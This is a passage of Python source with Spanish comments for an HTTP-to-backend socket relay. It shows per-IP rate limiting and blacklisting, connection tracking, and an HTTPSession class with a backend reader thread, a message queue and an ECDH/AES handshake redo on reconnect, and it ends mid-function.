logger.warning(f"Error aplicando opciones de socket: {e}")
def is_connection_allowed(ip, port, blocked_ips):
"""Verifica si una conexión está permitida."""
now = time.time()
with state_lock:
if ip in blocked_ips:
return False, "IP bloqueada"
if ip in blacklist and blacklist[ip] > now:
return False, "IP en blacklist temporal"
stats = connection_stats[ip]
active_count = len(active_connections.get(ip, []))
if active_count >= MAX_CONN_PER_IP:
return False, "Máximo conexiones por IP"
times = conn_times[ip]
times.append(now)
while times and now - times[0] > RATE_LIMIT_WINDOW:
times.popleft()
if len(times) > MAX_CONN_PER_SEC * RATE_LIMIT_WINDOW:
blacklist[ip] = now + BLACKLIST_DURATION
return False, "Rate limit excedido"
stats['count'] += 1
stats['last_conn'] = now
return True, "OK"
def register_connection(ip, conn):
"""Registra una conexión activa."""
with state_lock:
if ip not in active_connections:
active_connections[ip] = []
active_connections[ip].append(conn)
def unregister_connection(ip, conn):
"""Desregistra una conexión activa."""
with state_lock:
if ip in active_connections:
try:
active_connections[ip].remove(conn)
if not active_connections[ip]:
del active_connections[ip]
except ValueError:
pass
# ============ SESIÓN HTTP ============
class HTTPSession:
"""Sesión HTTP con conexión backend persistente y cola de mensajes - con UUID."""
def __init__(self, ip, session_id=None):
self.session_id = session_id or str(uuid.uuid4()) # ID único por sesión
self.ip = ip
self.backend_sock = None
self.last_activity = time.time()
self.lock = threading.Lock()
self.handshake_complete = False
self.reconnect_attempted = False
self.encrypted_aes_key = None
self.pubkey_data = None
self.closed = False # Flag para evitar operaciones en sesiones cerradas
# Cola de mensajes pendientes del backend
self.pending_messages = deque(maxlen=100)
self.message_lock = threading.Lock()
# Thread de lectura del backend
self.reader_thread = None
self.reader_stop_event = threading.Event()
# Estado de transferencia de archivos
self.file_transfer_active = False
self.file_chunks = deque()
self.file_transfer_lock = threading.Lock()
# Socket dedicado para el handshake en curso (FASE 1 → FASE 2)
# Se guarda separado para que FASE 2 no use la lógica de reconexión
self._hs_sock = None
self._hs_lock = threading.Lock()
def update_activity(self):
with self.lock:
self.last_activity = time.time()
def is_expired(self):
return False # Keep-alive infinito
def _is_socket_valid(self, sock):
"""Verifica si un socket es válido - CORREGIDO."""
if not sock or self.closed:
return False
try:
fd = sock.fileno()
if fd <= 0:
return False
_, _, err = select.select([], [sock], [sock], 0)
if err:
return False
return True
except (OSError, ValueError):
return False
def _start_reader_thread(self):
"""Inicia el thread que lee del backend."""
if self.reader_thread and self.reader_thread.is_alive():
return
self.reader_stop_event.clear()
self.reader_thread = threading.Thread(
target=self._backend_reader_loop,
daemon=True
)
self.reader_thread.start()
logger.debug(f"Reader thread iniciado para {self.ip}")
def _backend_reader_loop(self):
"""Loop que lee mensajes del backend y los encola."""
while not self.reader_stop_event.is_set():
try:
with self.lock:
if not self._is_socket_valid(self.backend_sock):
break
sock = self.backend_sock
# Verificar si hay datos disponibles
ready, _, _ = select.select([sock], [], [], 1.0)
if not ready:
continue
# Leer longitud del mensaje
sock.settimeout(5.0)
len_bytes = self._recv_exact(sock, 4)
if not len_bytes:
logger.debug(f"Backend cerró conexión para {self.ip}")
break
msg_len = struct.unpack('!I', len_bytes)[0]
if msg_len == 0:
continue
# Leer el mensaje completo
msg_data = self._recv_exact(sock, msg_len)
if not msg_data:
break
# Encolar el mensaje completo
full_message = len_bytes + msg_data
with self.message_lock:
self.pending_messages.append(full_message)
logger.debug(f"Mensaje encolado para {self.ip}: {len(full_message)} bytes")
sock.settimeout(None)
except socket.timeout:
continue
except Exception as e:
logger.debug(f"Error en reader loop: {e}")
break
logger.debug(f"Reader thread terminado para {self.ip}")
def _recv_exact(self, sock, n):
"""Recibe exactamente n bytes."""
data = b''
while len(data) < n:
try:
chunk = sock.recv(n - len(data))
if not chunk:
return None
data += chunk
except:
return None
return data
def get_pending_message(self):
"""Obtiene un mensaje pendiente de la cola."""
with self.message_lock:
if self.pending_messages:
return self.pending_messages.popleft()
return None
def has_pending_messages(self):
"""Verifica si hay mensajes pendientes."""
with self.message_lock:
return len(self.pending_messages) > 0
def _redo_handshake_on_reconnect(self, new_sock):
"""Rehace el handshake después de reconexión."""
if not self.handshake_complete or not self.encrypted_aes_key:
return False
try:
logger.info(f"Rehaciendo handshake en reconexión")
new_sock.settimeout(30.0)
banner_data = new_sock.recv(1024)
if not banner_data:
return False
new_sock.sendall(b"REQUEST_PUBKEY")
pubkey_data = new_sock.recv(8192)
if not pubkey_data or not pubkey_data.startswith(b'ECDH_PUBKEY:'):
return False
new_sock.sendall(self.encrypted_aes_key)
new_sock.settimeout(None)